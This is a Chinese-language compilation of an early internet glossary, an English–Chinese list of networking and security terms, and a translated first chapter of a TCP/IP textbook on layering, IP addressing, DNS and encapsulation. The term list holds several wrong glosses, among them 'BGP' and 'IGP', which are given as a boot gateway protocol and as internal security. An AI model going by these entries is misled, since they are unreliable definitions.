目前，由于普通的INTERNET用户接入网络的方式采用拨号MODEM的方式，因此，INTERNET用户的剧增可能会造成网络的拥塞（国外已经出现了这种情况），而使用ADSL可以加以避免。
◎ BBS
    BBS即电子公告牌。是互联网上早期比较流行的一种信息交换方式。用户一般在登记以后就可以发布信息，也可以在在上面查询自己比较感兴趣的信息。BBS一般分为Unix的字符方式和WWW图形方式。大多数的BBS是采用Unix字符方式的。登录到这种BBS系统一般使用远程登录方式（即使用Telnet来连接BBS系统的主机）。国内著名的BBS系统如：“蓝天BBS”（bbs.gznet.com）。
◎ 版主
    版主指网站的主页或网站中某个栏目的维护者，有时候被戏称为“斑竹”。通常版主主要负责相关主页的维护。包括信息的更新管理、回答访问者的问题等等。
◎ DDN
    DDN（Digital Data Network）也称数字数据网。DDN是骨干数据网最早的形式之一，它是一种纯物理层、半永久性的网络，也就是说它只负责把数据从A点传送到B点，而不管数据被封装成何种形式。
    DDN的特点是传输速率高、有保障、时延较小。用户的接入方式一般是专线，进网速率为N*64k，最高达2M，用户可自由选择DDN的业务有：
    1、提供"点到多点"的电路连接，适合于用户广播发送各种新闻、天气、证券等信息，也适用于集中监控、信用卡验证、销售终端（POS）验证、预订系统等业务；
    2、提供"多点到多点"的电路连接，适合于用户的网络互连；
    3、在一条专线上给用户同时提供语音和传真业务，能进行标准的语音压缩功能。
◎ 插件
    插件，即英文的Plug-in，是一种程序。浏览器一般能够直接调用插件程序。插件安装后就成为浏览器的一部分，可以处理特定的文件。插件的使用，增强了浏览器处理不同Web文件的能力。
◎ FTP
    FTP是File Transfer Protocol的缩写。即文本传输协议。是Internet上使用非常广泛的一种通讯协议。他是有支持Internet文件传输的各种规则所组成的集合。这些规则使Internet用户可以把文件从一个主机传送到另一个主机上。FTP通常也表示用户执行这个协议所使用的应用程序，如：CutFTP等。用户使用的方法很简单，启动FTP软件先与远程主机建立连接，然后想远程发出指令即可。
◎ 防火墙
    防火墙（Firewall）就好象是内部网络与外部网络连接的安全桥梁。通过防火墙可以拦截并过滤信息，只让符合安全标准的信息通过。这样可以最大限度地隔离互联网上的破坏者和阻止黑客的入侵。
◎ HTTP
    HTTP（Hypertext Transfer Protocol），即超文本传输协议。是WWW浏览器和WWW服务器之间的应用层通讯协议。HTTP协议是基于TCP/IP之上的协议，它不仅保证正确传输超文本文档，还确定传输文档中的哪一部分，以及哪一部分内容首先显示（如文本先与图形）等等。
◎ 黑客
    黑客是英文Hacker的音译。也称“骇客”。原意指热衷于深入了解计算机系统或网络内部工作原理的那些程序人员。后来被用于指那些利用其掌握的网络技术在网上进行破坏或制造恶作剧的人。
◎ Internet
    Internet中文名也称“因特网”或“国际互联网”。是70年代有美国军方的ARPA发展而来的。是一个由各种不同类型和规模的独立运行和管理的计算机网络组成的全球范围的计算机网络。网络间可以畅通无阻地交换信息。
    组成Internet的计算机网络包括局域网（LAN）、地域网（MAN）、以及大规模的广域网（WAN）等。这些网络通过普通电话线、高速率专用线路、卫星、微波和光缆等通讯线路把不同国家的大学、公司、科研机构以及军事和政府等组织的网络连接起来。
    Internet为人们提供了巨大的不断增长的信息资源和服务工具宝库，用户可以利用其提供的各种工具去获取其提供的巨大信息资源和先进的服务等。同样可以通过Internet将个人或企业部门的信息发布出去，随时供其他用户访问浏览。
◎ ISP
    ISP（Internet Service Provider）是Internet服务提供商。用户只有通过ISP才能接入Internet，并享受各种服务。ISP作为提供接入服务的中介，租用国际信道和大量的当地电话线，购置一系列计算机设备，通过集中使用，分散压力的方式，向本地用户提供接入服务。如果把互联网比作一条信息高速公路，那么ISP就是把你带到这条公路上的人。
◎ ICP
    ICP(Internet Content Provider)即Internet上的信息内容提供商。ICP在网上主要以信息服务为主，利用大量的或独具特色的信息资源来吸引人们上网。如果把互联网比作一条信息高速公路，那么这条公路上有没有让你着迷的风景就是由ICP决定的了。
◎ IP地址
    IP地址是Internet上主机地址的数字形式，与主机的域名地址是一一对应的。IP地址是一个32位的二进制数，通常写成被句点分开的四个十进制树的形式，例如：202.112.223.12等。IP地址通常分为A、B、C三类，这种分类与IP地址中字节的使用方法相关。在实际应用中，可以根据具体情况选择使用IP地址的类型格式。A、B、C三类地址所能表示的范围分别是：
    Ａ类：0.0.0.0-127.255.255.255
    Ｂ类：128.0.0.0-191.255.255.255
    Ｃ类：192.0.0.0-223.255.255.255
    IP地址和域名地址不能随意分配，否则将会导致无法估计的混乱状态，这就象我们生活中的通信地址一样。在需要IP地址或域名地址时，用户必须向国际网络信息中心NIC提出申请。申请批准后凡能够使用Internet域名地址的地方都可以使用IP地址。
◎ Intranet
    一个设计用来在公司和组织内处理信息的网络。是Internet 技术在企业内部或封闭的用户群 内的应用，是一个公司所特有的，不一定与Internet有物理上的连接关系。它的用途包括提供诸如文档分发、软件发布、访问数据库和培训等服务。之所以命名为企业内部互联网是因为它使用了诸如 Web 页（网页）、Web 浏览器、FTP 站点、电子邮件、新闻组和邮件列表等与 Internet 相关的应用程序，但它的作用范围仅限定于公司或组织内部。
◎ 宽带网
    也有称作 wideband transmission。 一种局域网络，信号在不同的入境和出境频道上以射电频率信号形式进行传输。宽带网络中的节点之间用同轴电缆或光纤缆连接，可以通过多个传输频道同时传送数据、语音以及视频信号，频道之间用频率区分。宽带网适用于高速操作（20兆字节或更快），但是比基带网络昂贵而且安装困难。
◎ 浏览器
    浏览器“（Browser）”是一个被形象化了的名词，它是一种用来访问WWW服务的一种客户端程序。也可以理解为用户上网后用来查看主页的软件。目前WWW环境中使用最多的主流浏览器有两种：一个是美国Microsoft公司的Internet Explorer（IE），另一个是美国Netscape公司的Navigator。其他的还有Opera等等。

◎ POP3
    POP3是Post Office Protocol version3的缩写。即邮局协议版本3。一般通过POP3协议标准，为没有运行邮件系统的主机提供邮件的收发服务。
◎ SMTP
    SMTP是Simple Mail Transmission Protocol的缩写。即简单邮件传送协议。在国际互联网上一般通过SMTP来发送电子邮件
◎ 上传和下载
    上传和下载是指在互联网上文件传输的专门术语。当一个网友把自己计算机上的文件拷贝到远程计算机上的时候，我们就之为Upload，也就是上传；相反，当一个网友从某台远程计算机上拷贝文件到自己计算机上时，我们称为Downloan文件，或简称Down文件，也就是下载。
◎ SET协议
    SET协议（Secure Electronic Transaction，安全电子交易）是由VISA和MasterCard两大信用卡公司于1997年5月联合推出的规范。SET主要是为了解决用户、商家和银行之间通过信用卡支付的交易而设计的，以保证支付信息的机密、支付过程的完整、商户及持卡人的合法身份、以及可操作性。SET中的核心技术主要有公开密匙加密、电子数字签名、电子信封、电子安全证书等。
    SET协议比SSL协议复杂，因为前者不仅加密两个端点间的单个会话，它还可以加密和认定三个方间的多个信息。
◎ SSL协议
    SSL协议（Secure Socket Layer，安全套接层）是由网景（Netscape）公司推出的一种安全通信协议，它能够对信用卡和个人信息提供较强的保护。
    SSL是对计算机之间整个会话进行加密的协议。在SSL中，采用了公开密钥和私有密钥两种加密方法。
◎ WAP
    WAP是Wireless Applecation Protocol即无线应用协议的缩写。相当于无线上网的TCP/IP。具有WAP功能的终端设备，如WAP手机，通过手机内置的微型浏览器，经由数字无线网络，如GSM网络，登陆互连网。
    WAP内容用WML编写，在手机上显示的内容以文字为主，没有很多的图象和色彩。
    WAP的最大优点是移动性，用手机你可以在任何时候，任何地点上网，可以进行阅读新闻、收发E-mail等。
    另外，通过网络可以知道用户的所在位置，也就可能把与位置相关的信息提供给用户，如交通信息，附近的医院，饭店，酒吧，电影院，提款机等信息。
    目前可以上网的手机有Nokia7110、Siemens3568i、Motorola a6188等机型。
◎ 网络协议
    网络协议即网络中（包括互联网）传递、管理信息的一些规范。如同人与人之间相互交流是需要遵循一定的规矩一样，计算机之间的相互通信需要共同遵守一定的规则，这些规则就称为网络协议。
    一台计算机只有在遵守网络协议的前提下，才能在网络上与其他计算机进行正常的通信。网络协议通常被分为几个层次，每层完成自己单独的功能。通信双方只有在共同的层次间才能相互联系。常见的协议有：TCP/IP协议、IPX/SPX协议、NetBIOS协议等等。在互联网上被广泛采用的是TCP/IP协议，在局域网中用得的比较多的是IPX/SPX.。用户如果访问Internet，则必须在网络协议中添加TCP/IP协议。

◎ 虚拟主机
    虚拟主机是使用特殊的软硬件技术，把一台运行在因特网上的服务器主机分成一台台“虚拟”的主机，每一台虚拟主机都具有独立的域名，具有完整的Internet服务器（WWW、FTP、Email等）功能。一般来说企业要在网上用自己的独立域名建立网站，必须投资一台价格不菲的服务器，而且要架设专线、专人维护。虚拟主机则是利用电信局的主机为企业开设一个网站，该网站在外界看起来就如同企业自己建立的一样，拥有高速的网络出口。通常公司建立主页都采用这种方式。
◎ 域名
    互联网上的站点就象我们生活中的机构或家庭一样要有个地址，网民才能根据这个地址进行访问。其计算机的身份标识是32比特的二进制代码，也就是所谓的IP地址。为了便于记忆，按照一定的规则给Internet上的计算机起的名字就叫做域名。例如中央电视台的域名为：http://www.cctv.com/。按照Internet的组织模式，对域名进行分级，一级域名主要有以下几种：.com（商业组织）、.net（网络中心）、.edu（教育机构）、.gov(政府部门)、.mil（军事机构）、.org（国际组织）等。大部分国家和地区都拥有自己独立的域名，例如：cn（中国）、us（美国）、uk（英国）、hk（香港）等等。二级域名如：supercool.163.net。
◎ 一线通ISDN
    ISDN 是Intergrated Services Digital Network的缩写，即综合业务数字网。俗称“一线通”， 顾名思义，ISDN将电话语音和电脑多媒体数据集成到一条高速的数字传输网络线路中，仅通过一条“线路”就可以为客户同时提供语音服务和数据服务。目前可连接8台终端或电话，有2台终端（例如：一部电话、一台计算机或一台数据终端）可以同时使用。具有以下特点：
    1、一线多能——利用一对用户线可实现电话、传真、可视图文、数据通信等多种业务的通信。
    2、高速上网——在一根普通电话线上，可以提供以64Kbps速率为基础并可达到128Kbps的上网速度的数字连接。
◎ 主机托管
    主机托管是把个人或公司的主机放在主机托管提供商（如：电信局）的Internet网络上，起着Internet网络上一台服务器的作用。此主机完全归客户或公司使用和控制。主机托管提供商要收取一定的托管费用。

◎ 支付网关
    支付网关（Payment Gateway）是连接银行专用网络与Internet的一组服务器，其主要作用是完成两者之间的通信、协议转换和进行数据加、解密，以保护银行内部网络的安全。
    支付网关的功能主要有：将Internet传来的数据包解密，并按照银行系统内部的通信协议将数据重新打包；接收银行系统内部反馈的响应消息，将数据转换为Internet传送的数据格式，并对其进行加密。
日月双星增
－－－－－－－－
Access Control List（ACL） 访问控制列表
access token 访问令牌
account lockout 帐号封锁
account policies 记帐策略
accounts 帐号
adapter 适配器
adaptive speed leveling 自适应速率等级调整
Address Resolution Protocol(ARP) 地址解析协议
Administrator account 管理员帐号
ARPANET 阿帕网（internet的前身）
algorithm 算法
alias 别名
allocation 分配、定位
alias 小应用程序
allocation layer 应用层
API 应用程序编程接口
anlpasswd 一种与Passwd+相似的代理密码检查器
applications 应用程序
ATM 异步传递模式
attack 攻击
audio policy 审记策略
auditing 审记、监察
back-end 后端
borde 边界
borde gateway 边界网关
breakabie 可破密的
breach 攻破、违反
cipher 密码
ciphertext 密文
CAlass A domain A类域
CAlass B domain B类域
CAlass C domain C类域
classless addressing 无类地址分配
cleartext 明文
CSNW Netware客户服务
client 客户，客户机
client/server 客户机/服务器
code 代码
COM port COM口（通信端口）
CIX 服务提供者
computer name 计算机名
crack 闯入
cryptanalysis 密码分析
DLC 数据链路控制
decryption 解密
database 数据库
dafault route 缺省路由
dafault share 缺省共享
denial of service 拒绝服务
dictionary attack 字典式攻击
directory 目录
directory replication 目录复制
domain 域
domain controller 域名控制器
domain name 域名
域名其实就是入网计算机的名字，它的作用就象寄信需要写明人们的名字、地址一样重
要。域名结构如下：计算机主机名.机构名.网络名.最高层域名。域名用文字表达，比
用数字表达的IP地址容易记忆。加入Internet的各级网络依照DNS的命名规则对本网内
的计算机命名，并负责完成通讯时域名到IP地址的转换 。
DNS 域名服务器
DNS(Domain Name System,域名系统)是指在 Internet上查询域名或IP地址的目录服务系
统。在接收到请求时，它可将另一台主机的域名翻译为IP地址，或反之。大部分域名系
统都维护着一个大型的数据库，它描述了域名与 IP地址的对应关系，并且这个数据库被
定期地更新。翻译请求通常来自网络上的另一台计算机，它需要IP地址以便进行路由选择。
DDE 动态数据交换
DHCP 动态主机配置协议
encryption 加密
EGP 外部网关协议
FDDI 光纤分布式数据接口
FAT 文件分配表
FTP(File Transfer Protocol） 文件传送协议
filter 过滤器
firmware 固件
flooding 淹没
GSNW NetWare网关服务
GDI(graphical device interface) 图形设备界面
GUI 图形用户界面
HTML 超文本标记语言
HTTP 超文本传送协议
IGP 内部安全性
ICMP(Internet Control Message Protocol) 网际控制报文协议
ICMP用来发送关于IP数据报传输的控制和错误信息的TCP/IP协议。当一个IP数据报不能传送到目的地时，可能是因为目的地的机器暂停服务或者信息交通阻塞，路由器可能使用ICMP将失败信息通知发送者。
IGMP（Internet Group Management Protocol，Internet群组管理协议）
这种TCP/IP协议允许Internet主机参加多点播送（multicasting）----一种向计算机群广播
信息的有效手段
IIS 信息服务器
IP(Internet Protocol) 网际协议
IRC 网上交谈
ISP 网络服务提供者
IPX 互连网分组协议
IPC 进程间通信
IRQ 中断请求
IP address IP地址
IP地址称作网络协议地址，是分配给主机的一个32位地址，由4个字节组成，分为动态IP地址和静态IP地址两种。动态IP地址指的是每次连线所取得的地址不同，而静态IP地址是指每次连线均为同样固定的地址。一般情况下，以电话拨号所取得的地址均为动态的，也就是每次所取得的地址不同。
IP masquerade IP伪装
IP spoofing IP欺骗
LAN 局域网
LPC 局部过程调用
NNTP 网络新闻传送协议
PPP 点到点协议
称为点对点通信协议(Point to Point Protocol)，是为适应那些不能在网络线上的使用者，通过电话线的连接而彼此通信所制定的协议。
PDC 主域控制器
Telnet 远程登陆
TCP/IP 传输控制协议/网际协议
TCP/IP通信协议主要包含了在Internet上网络通信细节的标准，以及一组网络互连的协议和路径选择算法。TCP是传输控制协议，相当于物品装箱单，保证数据在传输过程中不会丢失。IP是网间协议，相当于收发货人的地址和姓名，保证数据到达指定的地点。
TFTP 普通文件传送协议
TFTP是无盘计算机用来传输信息的一种简化的FTP协议。它非常之简单，所以可固化在硬
盘上，而且支持无认证操作。TFTP是一种非常不安全的协议。
Trojan Horse 特洛伊木马
URL 统一资源定位器
UDP 用户数据报协议
VDM 虚拟DOS机
UUCP 是一种基于猫的使用已经很久的文件传输协议，有时候还使用它在Internet上传输
Usenet新闻和E-mail，尤其是在那些间断性联网的站点上。现在很少站提供匿名的UUCP来
存取文件。而它做为一种文件传输协议，只有那些没有入网而使用猫的用户使用此方法。
WWW 万维网
WWW(Word Wide Web)是Internet最新的一种信息服务。它是一种基于超文本文件的交互式浏览检索工具。用户可用WWW在Internet网上浏览、传递、编辑超文本格式的文件。
WAN 广域网
virtual server 虚拟服务器
Usenet
用户交流网Usenet是网络新闻服务器的主要信息来源。Usenet完全是一个民间自发建立
的，使用Internet交换信息但又不完全依赖Internet进行通讯的用户交流网络。使用Usenet的自愿者共同遵守一些约定的网络使用规则。
USER name 用户名
USER account 用户帐号
Web page 网页
OpenGL 开放图形语言
ODBC 开放数据库连接
PCI 外设连接接口
………………………………………………………………………………………………
authentication 认证、鉴别
authorization 授权
Back Office Microsoft公司的一种软件包
Back up 备份
backup browser 后备浏览器
BDC 备份域控制器
baseline 基线
BIOS 基本输入/输出系统
Binding 联编、汇集
bit 比特、二进制位
BOOTP 引导协议
BGP 引导网关协议
Bottleneck 瓶径
bridge 网桥、桥接器
browser 浏览器
browsing 浏览
channel 信道、通路
CSU/DSU 信道服务单元/数字服务单元
Checksum 校验和
Cluster 簇、群集
CGI 公共网关接口
CGI（Common Gateway Interface公用网关接口是一个可以产生相同结果或结果随用户输入而变化的程序。它可以用一种解释性的界面语言编写，也可以用一种编译方式的编程语言编写。CGI规定了Web服务器调用其它可执行程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互，也就是CGI程序接受Web浏览器发送给Web服务器的信息，进行处理，并将响应结果再回送给Web服务器和Web浏览器。CGI程序一般完成Web网页中表单数据的处理、数据库查询和实现与传统应用系统的集成等工作。CGI程序虽然可以用任何程序设计语言编写，但是用C语言编写的CGI程序具有执行速度快、安全性高等特点


TCP/IP详解（一）

1 概述
1.1 引言
很多不同的厂家生产各种型号的计算机，它们运行完全不同的操作系统，但TCP/IP协议组件允许它们互相进行通信。这一点很让人感到吃惊，因为它的作用已远远超出了起初的设想。TCP/IP起源于60年代末美国政府资助的一个分组交换网络研究项目，到现在90年代已发展成为计算机之间最常应用的组网形式。它是一个真正的开放系统，因为协议组件的定义及其多种实现可以不用花钱或花很少的钱就可以公开地得到。它成为被称作“全球互联网”或“因特网”(Internet)的基础，该广域网（WAN）已包含超过100万台遍布世界各地的计算机。
本章主要对TCP/IP协议组件进行概述，其目的是为本书其余章节提供充分的背景知识。如果读者要从历史的角度了解有关TCP/IP的早期发展情况，请参考文献[Lynch 1993]。
1.2 分层
网络协议通常分不同层次进行开发，每一层分别负责不同的通信功能。一个协议组件，比如TCP/IP，是一组不同层次上的多个协议的组合。TCP/IP通常被认为是一个四层协议系统，如图1.1所示。
图1.1 TCP/IP协议组件的四个层次
每一层负责不同的功能：
1. 链路层，有时也称作数据链路层或网络接口层，通常包括操作系统中的设备驱动程序和计算机中对应的网络接口卡。它们一起处理与电缆（或其他任何传输媒介）的物理接口细节。
2. 网络层，有时也称作互连网层，处理分组在网络中的活动，例如分组的路由选择。在TCP/IP协议组件中，网络层协议包括IP协议（网际协议），ICMP协议（Internet互连网控制报文协议），以及IGMP协议（Internet组管理协议）。
3. 运输层主要为两台主机上的应用程序提供端到端的通信。在TCP/IP协议组件中，有两个互不相同的传输协议：TCP（传输控制协议）和UDP（用户数据报协议）。
TCP为两台主机提供高可靠性的数据通信。它所做的工作包括把应用程序交给它的数据分成合适的小块交给下面的网络层，确认接收到的分组，设置发送最后确认分组的超时时钟等。由于运输层提供了高可靠性的端到端的通信，因此应用层可以忽略所有这些细节。
而另一方面，UDP则为应用层提供一种非常简单的服务。它只是把称作数据报的分组从一台主机发送到另一台主机，但并不保证该数据报能到达另一端。任何必需的可靠性必须由应用层来提供。
这两种运输层协议分别在不同的应用程序中有不同的用途，这一点我们将在后面看到。
4. 应用层负责处理特定的应用程序细节。几乎各种不同的TCP/IP实现都会提供下面这些通用的应用程序：
&#8226;Telnet 远程登录
&#8226;FTP 文件传输协议
&#8226;SMTP 用于电子邮件的简单邮件传输协议
&#8226;SNMP 简单网络管理协议
另外还有许多其他应用，我们在后面章节中将介绍其中的一部分。
假设我们在一个局域网（LAN）如以太网中有两台主机，二者都运行FTP协议，图1.2列出了该过程所涉及到的所有协议。
图1.2 局域网上运行FTP的两台主机
这里，我们列举了一个FTP客户程序和另一个FTP服务器程序。大多数的网络应用程序都被设计成客户－服务器模式。服务器为客户提供某种服务，在本例中就是访问服务器所在主机上的文件。在远程登录应用程序Telnet中，为客户提供的服务是登录到服务器主机上。
在同一层上，双方都有对应的一个或多个协议进行通信。例如，某个协议允许TCP层进行通信，而另一个协议则允许两个IP层进行通信。
在图1.2的右边，我们注意到应用程序通常是一个用户进程，而下三层则一般在（操作系统）内核中执行。尽管这不是必需的，但通常都是这样处理的，例如UNIX操作系统。
在图1.2中，顶层与下三层之间还有另一个关键的不同之处。应用层关心的是应用程序的细节，而不是数据在网络中的传输活动。下三层对应用程序一无所知，但它们要处理所有的通信细节。
我们在图1.2中例举了四种不同层次上的协议。FTP是一种应用层协议，TCP是一种运输层协议，IP是一种网络层协议，而以太网协议则应用于链路层上。TCP/IP协议组件是一组不同的协议组合在一起构成的协议族。尽管通常称该协议组件为TCP/IP，但TCP和IP只是其中的两种协议而已。（该协议组件的另一个名字是Internet协议族(Internet Protocol Suite)。
网络接口层和应用层的目的是很显然的――前者处理有关通信媒介的细节（以太网，令牌环网等），而后者处理某个特定的用户应用程序（FTP，Telnet等）。但是，从表面上看，网络层和运输层之间的区别不那么明显。为什么要把它们划分成两个不同的层次呢？为了理解这一点，我们必须把视野从单个网络扩展到一组网络。
在80年代，网络不断增长的原因之一是大家都意识到只有一台孤立的计算机构成的“孤岛”没有太大意义，于是就把这些孤立的系统组在一起形成网络。随着这样的发展，到了90年代，我们又逐渐认识到这种由单个网络构成的新的更大的“岛屿”同样没有太大的意义。于是，人们又把多个网络连在一起形成一个网络的网络，或称作互连网(internet)。一个互连网就是一组通过相同协议族互连在一起的网络。
构造互连网最简单的方法是把两个或多个网络通过路由器进行连接。它是一种特殊的用于网络互连的硬件盒。路由器的好处是为不同类型的物理网络提供连接：以太网，令牌环网，点对点的链接，FDDI（光纤分布式数据接口）等等。
（下面是原书p.4①的译文）
这些盒子也称作IP路由器（IP Routers），但我们这里使用路由器(Router)这个术语。
从历史上说，这些盒子称作网关（gateways），在很多TCP/IP文献中都使用这个术语。现在网关这个术语只用来表示应用层网关：一个连接两种不同协议组件的进程（例如，TCP/IP和IBM的SNA），它为某个特定的应用程序服务（常常是电子邮件或文件传输）。
图1.3是一个包含两个网络的互连网：一个以太网和一个令牌环网，通过一个路由器互相连接。尽管这里是两台主机通过路由器进行通信，实际上以太网中的任何主机都可以与令牌环网中的任何主机进行通信。
在图1.3中，我们可以划分出端系统（end sys tem）（两边的两台主机）和中间系统（intermediate sys tem）（中间的路由器）。应用层和运输层使用端到端（end-to-end）协议。在我们的图中，只有端系统需要这两层协议。但是，网络层提供的却是逐跳（hop-by-hop）协议，两个端系统和每个中间系统都要使用它。
图1.3 通过路由器连接的两个网络
在TCP/IP协议组件中，网络层IP提供的是一种不可靠的服务。也就是说，它只是尽可能快地把分组从源结点送到目的结点，但是并不提供任何可靠性保证。而另一方面，TCP在不可靠的IP层上提供了一个可靠的运输层。为了提供这种可靠的服务，TCP采用了超时重传，发送和接收端到端的确认分组等机制。由此可见，运输层和网络层分别负责不同的功能。
从定义上看，一个路由器具有两个或多个网络接口层（因为它连接了两个或多个网络）。任何具有多个接口的系统英文都称作是多接口的multihomed。一个主机也可以有多个接口，但一般不称作路由器, 除非它的功能只是单纯地把分组从一个接口传送到另一个接口。同样，路由器并不一定指那种在互连网中用来转发分组的特殊硬件盒。大多数的TCP/IP实现也允许一个多接口主机来担当路由器的功能，但是主机为此必须进行特殊的配置。在这种情况下，我们既可以称该系统为主机（当它运行某一应用程序时，如FTP或Telnet），也可以称之为路由器（当它把分组从一个网络转发到另一个网络时）。我们在不同的场合下使用不同的术语。
互连网的目标之一是在应用程序中隐藏所有的物理细节。虽然这一点在图1.3由两个网络组成的互连网中并不很明显，但是应用层不能关心（也不关心）一台主机是在以太网上，而另一台主机是在令牌环网上，它们通过路由器进行互连。随着增加不同类型的物理网络，可能会有20个路由器，但应用层仍然是一样的。物理细节的隐藏使得互连网功能非常强大，也非常有用。
连接网络的另一个途径是使用网桥。网桥是在链路层上对网络进行互连，而路由器则是在网络层上对网络进行互连。网桥使得多个局域网（LAN）组合在一起，这样对上层来说就好像是一个局域网。
TCP /IP倾向于使用路由器而不是网桥来连接网络，因此我们将着重介绍路由器。文献[Perlman 1992]的第12章对路由器和网桥进行了比较。
1.3 TCP/IP的分层
在TCP/IP协议组件中，有很多种协议。图1.4给出了本书将要讨论的其他协议。
图1.4 TCP/IP协议组件中不同层次的协议
TCP和UDP是两种最为著名的运输层协议，二者都使用IP作为网络层协议。
虽然TCP使用不可靠的IP服务，但它却提供一种可靠的运输层服务。本书第17章到第22章将详细讨论TCP的内部操作细节。然后，我们将介绍一些TCP的应用，如第26章中的Telnet和Rlogin，第27章中的FTP，以及第28章中的SMTP等。这些应用通常都是用户进程。
UDP为应用程序发送和接收数据报。一个数据报是指从发送方传输到接收方的一个信息单元（例如，发送方指定的一定字节数的信息）。但是与TCP不同的是，UDP是不可靠的，它不能保证数据报能安全无误地到达最终目的。本书第11章将讨论UDP，然后在第14章（域名系统：Domain Name sys tem），第15章（简单文件传输协议Trivial File Transfer Protocol），以及第16章（引导程序协议Bootstrap Protocol）介绍使用UDP的应用程序。SNMP（简单网络管理协议）也使用了UDP协议，但是由于它还要处理许多其他的协议，因此本书把它留到第25章再进行讨论。
IP是网络层上的主要协议，同时被TCP和UDP使用。TCP和UDP的每组数据都通过端系统和每个中间路由器中的IP层在互连网中进行传输。在图1.4中，我们给出了一个直接访问IP的应用程序。这是很少见的，但也是可能的。（一些较老的路由选择协议就是以这种方式来实现的。当然新的运输层协议也有可能试用这种方式。）第3章主要讨论IP协议，但是为了使内容更加有针对性，一些细节将留在后面的章节中进行讨论。第9章和第10章讨论IP如何进行路由选择。
ICMP是IP协议的附属协议。IP层用它来与其他主机或路由器交换错误报文和其他重要信息。第6章对ICMP的有关细节进行讨论。尽管ICMP主要被IP使用，但应用程序也有可能访问它。我们将分析两个流行的诊断工具，Ping和Traceroute（第7章和第8章），它们都使用了ICMP。
IGMP是Internet组管理协议。它用来把一个UDP数据报多播到多个主机。我们在第12章中描述广播（把一个UDP数据报发送到某个指定网络上的所有主机）和多点传送的一般特性，然后在第13章中对IGMP协议本身进行描述。
ARP（地址解析协议）和RARP（逆地址解析协议）是某些网络接口（如以太网和令牌环网）使用的特殊协议，用来转换IP层和网络接口层使用的地址。我们分别在第4章和第5章对这两种协议进行分析和介绍。
1.4 互连网的地址
互连网上的每个接口必须有一个唯一的Internet地址（也称作IP地址）。IP地址长32 bit。Internet地址并不采用平面形式的地址空间，如1，2，3等。IP地址具有一定的结构，五类不同的互连网地址格式如图1.5所示。
这些32位的地址通常写成四个十进制的数，其中每个整数对应一个字节。这种表示方法称作“点分十进制表示法”（dotted decimal notation）。例如，作者的系统就是一个B类地址，它表示为：140.252.13.33。
区分各类地址的最简单方法是看它的第一个十进制整数。图1.6列出了各类地址的起止范围，其中第一个十进制整数用加黑字体表示。
图1.5五类互连网地址
图1.6 各类IP地址的范围
需要再次指出的是，多接口主机具有多个IP地址，其中每个接口都对应一个IP地址。
由于互连网上的每个接口必须有一个唯一的IP地址，因此必须要有一个管理机构为接入互连网的网络分配IP地址。这个管理机构就是互连网络信息中心（Internet Network Information Centre）称作InterNIC。InterNIC只分配网络号。主机号的分配由系统管理员来负责。
（下面是原书p.8①的译文）
Internet注册服务(IP地址和DNS域名)过去由NIC来负责，其网络地址是nic.ddn.mil。1993年4月1日，InterNIC成立。现在，NIC只负责处理国防数据网的注册请求，所有其他的Internet用户注册请求均由InterNIC负责处理，其网址是：rs.internic.net。
事实上InterNIC有三部分组成：注册服务（rs.internic.net），目录和数据库服务（ds.internic.net），以及信息服务（is.internic.net）。有关InterNIC的其他信息参见习题1.8。
有三类IP地址：单目传送地址（目标为单个主机），广播传送地址（目的端为给定网络上的所有主机），以及多目传送地址（目的端为同一组内的所有主机）。第12章和第13章将分别讨论广播传送和多目传送的更多细节。
在3.4节中，我们在介绍IP路由选择以后将进一步介绍子网的概念。图3.9给出了几个特殊的IP地址：主机号和网络号为全0或全1。
1.5 域名系统
尽管通过IP地址可以识别主机上的网络接口，进而访问主机，但是人们最喜欢使用的还是主机名。在TCP/IP领域中，域名系统（DNS）是一个分布的数据库，由它来提供IP地址和主机名之间的映射信息。我们在第14章将详细讨论DNS。
现在，我们必须理解，任何应用程序都可以调用一个标准的库函数来查看给定名字的主机的IP地址。类似地，系统还提供一个逆函数――给定主机的IP地址，查看它所对应的主机名。
大多数使用主机名作为参数的应用程序也可以把IP地址作为参数。例如，在第4章中当我们用Telnet进行远程登录时，我们既可以指定一个主机名，也可以指定一个IP地址。
1.6 封装
当应用程序用TCP传送数据时，数据被送入协议栈中，然后逐个通过每一层直到被当作一串比特流送入网络。其中每一层对收到的数据都要增加一些首部信息（有时还要增加尾部信息），该过程如图1.7所示。TCP传给IP的数据单元称作TCP报文段或简称为TCP段（TCP segment）。IP传给网络接口层的数据单元称作IP数据报(IP datagram)。通过以太网传输的比特流称作帧(frame)。
图1.7中帧头和帧尾下面所标注的数字是典型以太网帧首部的字节长度。在后面的章节中我们将详细讨论这些帧头的具体含义。
以太网数据帧的物理特性是其长度必须在46－1500字节之间。我们将在4.5节遇到最小长度的数据帧，在2.8节中遇到最大长度的数据帧。
（下面是原书p.9①的译文）
所有的Internet标准和大多数有关TCP/IP的书都使用octet这个术语来表示字节。使用这个过分雕琢的术语是有历史原因的，因为TCP/IP的很多工作都是在DEC-10系统上进行的，但是它并不使用8 bit的字节。由于现在几乎所有的计算机系统都采用8 bit的字节，因此我们在本书中使用字节（byte）这个术语。
更准确地说，图1.7中IP和网络接口层之间传送的数据单元应该是分组（packet）。分组既可以是一个IP数据报，也可以是IP数据报的一个片（fragment）。我们将在11.5节讨论IP数据报分片的详细情况。
UDP数据与TCP数据基本一致。唯一的不同是UDP传给IP的信息单元称作UDP数据报（UDP datagram），而且UDP的首部长为8字节。
图1.7 数据进入协议栈时的封装过程
回想第6页中的图1.4，由于TCP，UDP，ICMP和IGMP都要向IP传送数据，因此IP必须在生成的IP首部中加入某种标识，以表明数据属于哪一层。为此，IP在首部中存入一个长度为8比特的数值，称作协议域。1表示为ICMP协议，2表示为IGMP协议，6表示为TCP协议，17表示为UDP协议。
类似地，许多应用程序都可以使用TCP或UDP来传送数据。运输层协议在生成报文首部时要存入一个应用程序的标识符。TCP和UDP都用一个16 bit的端口号来表示不同的应用程序。TCP和UDP把源端口号和目的端口号分别存入报文首部中。
网络接口分别要发送和接收IP，ARP和RARP数据，因此也必须在以太网的帧首部中加入某种形式的标识，以指明生成数据的网络层协议。为此，以太网的帧首部也有一个16 bit的帧类型域。
1.7 分用（Demultiplexing）
当目的主机收到一个以太网数据帧时，数据就开始从协议栈中由底向上升，同时去掉各层协议加上的报文首部。每层协议盒都要去检查报文首部中的协议标识，以确定接收数据的上层协议。这个过程称作分用，图1.8显示了该过程是如何发生的。
图1.8 以太网数据帧的分用过程
（下面是原书p.11①的译文）
